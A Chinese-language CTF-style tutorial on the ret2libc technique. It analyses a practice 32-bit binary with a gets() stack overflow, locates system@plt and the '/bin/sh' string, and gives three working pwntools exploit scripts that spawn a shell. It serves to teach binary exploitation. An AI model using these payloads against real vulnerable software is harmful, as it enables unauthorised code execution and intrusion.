ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

当程序的NX enable开启,写入shellcode没有执行权限,又或者程序开有ASLR保护(随机地址),每次执行程序想利用的函数地址都是变化的时,我们就可以考虑用libc里的函数动态得到system函数地址与/bin/sh字符串地址

step1 32bit or 64bit?

1
2
ret2libc1$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

step2 checksec

1
2
3
4
5
6
7
ret2libc1$ checksec ret2libc1
[*] '/home/pwn/桌面/(5)retlibc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

step3 IDA32

存在栈溢出危险函数gets( )

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(s);
return 0;
}

法一:在函数窗口发现_system函数,点击+空格

1
2
3
4
5
6
.plt:08048460 _system         proc near               ; CODE XREF: secure+44↓p
.plt:08048460
.plt:08048460 command = dword ptr 4
.plt:08048460
.plt:08048460 jmp ds:off_804A018
.plt:08048460 _system endp

法二:使用以下命令查找地址,使用命令前应进行如下步骤:gdb ret2libc1 —> b main —> r —> objdump -d ret2libc1

1
2
3
4
5
6
7
8
objdump -d ret2libc1

命令介绍:
objdump -d <.elf>
反汇编test中的需要执行指令的那些section

objdump -D <.elf>
与-d类似,但反汇编test中的所有section
1
2
3
4
5
6
7
8
9
08048450 <puts@plt>:
8048450: ff 25 14 a0 04 08 jmp *0x804a014
8048456: 68 10 00 00 00 push $0x10
804845b: e9 c0 ff ff ff jmp 8048420 <.plt>

08048460 <system@plt>:
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <.plt>

sys_addr = 08048460

法一:shfit+F12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
LOAD:08048154	00000013	C	/lib/ld-linux.so.2
LOAD:080482B9 0000000A C libc.so.6
LOAD:080482C3 0000000F C _IO_stdin_used
LOAD:080482D7 00000006 C srand
LOAD:080482DD 0000000F C __isoc99_scanf
LOAD:080482F6 00000006 C stdin
LOAD:080482FC 00000007 C stdout
LOAD:08048303 00000007 C system
LOAD:0804830A 00000008 C setvbuf
LOAD:08048312 00000012 C __libc_start_main
LOAD:08048324 0000000F C __gmon_start__
LOAD:08048333 0000000A C GLIBC_2.7
LOAD:0804833D 0000000A C GLIBC_2.0
.rodata:08048720 00000008 C /bin/sh
.rodata:0804872B 00000008 C shell!?
.rodata:08048733 0000000D C RET2LIBC >_<
.eh_frame:080487AB 00000005 C ;*2$\"

法二:使用以下命令查找地址

1
search '/bin/sh'
1
2
3
4
pwndbg> search '/bin/sh'
ret2libc1 0x8048720 das /* '/bin/sh' */
ret2libc1 0x8049720 '/bin/sh'
libc-2.31.so 0xf7f5d352 '/bin/sh'

bin_sh = 08048720

step4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

+-----------------+
| '/bin/sh' |
+-----------------|
| b'bbbb' |
+-----------------|
| system@plt | ret_addr
+-----------------+
| ebp |
ebp--->+-----------------+
| |
| |
| |
| |
+-----------------+
| s | local var
s起始,ebp-108-->+-----------------+
# 为什么要填充'bbbb',为了栈平衡。local var 后接 ebp 再后接 ret_addr
#########################################################################################

+-----------------+
| '/bin/sh' | system要传入的参数'/bin/sh'
+-----------------|
ret_addr | ebp | system中的汇编指令push ebp
+-----------------+
| system@plt | ret_addr
+-----------------+
| ebp | 含父函数ebp信息的ebp
ebp--->+-----------------+
| |
| |
| |
+-----------------+
| s | local var
s起始,ebp-108-->+-----------------+
# 返回到system地址后调用system,system中有汇编指令push ebp,可以看到push ebp 产生了又一个ebp压入栈中,在这里没什么用可以用垃圾数据padding,故'/bin/sh' 移到sys_aadr的上面两个字长
#########################################################################################

+-----------------+
| '/bin/sh' | system要传入的参数'/bin/sh'
+-----------------+
| system@plt | ret_addr
+-----------------+
| ebp | 含父函数ebp信息的ebp
ebp--->+-----------------+
| |
| |
| |
+-----------------+
| s | local var
s起始,ebp-108-->+-----------------+
# 若直接在system后面紧跟参数'/bin/sh',则push ebp时产生的ebp会将参数'/bin/sh'的地址覆盖掉,故为了栈平衡,我们要将参数'/bin/sh'的地址上移两个字长
1
2
3
4
5
6
7
8
#exp1
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
1
2
3
4
5
6
7
8
#exp2
from pwn import *
p = process('./ret2libc1')
bin_sh = 0x08048720
sys_addr = 0x08048460
payload = b'A'*112+p32(sys_addr)+b'B'*4+p32(bin_sh)
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
# exp3终极版
from pwn import *
io = process("./ret2libc1")
# 替代ida进行静态分析
elf = ELF("./ret2libc1")
# 查看system函数的plt地址,输出十进制地址,可以加hex()转换成十六进制
sys_addr = elf.plt["system"]
# 查看'/bin/sh'字符串地址(前面要加b),输出十进制地址,可以加hex()转换成十六进制
bin_sh = next(search(b"/bin/sh"))
# p32()将地址打包成二进制,不管是十六进制还是十进制
payload = flat([b'a'*112, p32(sys_addr), b'bbbb', p32(bin_sh)])
io.sendline(payload)
io.interactive()

可能遇到的问题

Q1: 为什么见到有些payload是没有为system函数传像’a’*4这样的函数返回地址参数呢?

A:因为直接调用 call _system 时,根据call命令的功能,它会先把返回地址压入栈,再跳转到指定函数(即plt的位置),而直接调用plt处的函数是没有压入返回地址参数这一步骤的,故可认为’b’ * 4填充的为虚拟地址。

Q2: exp.py报错?

A:在填充字符前加b,如exp2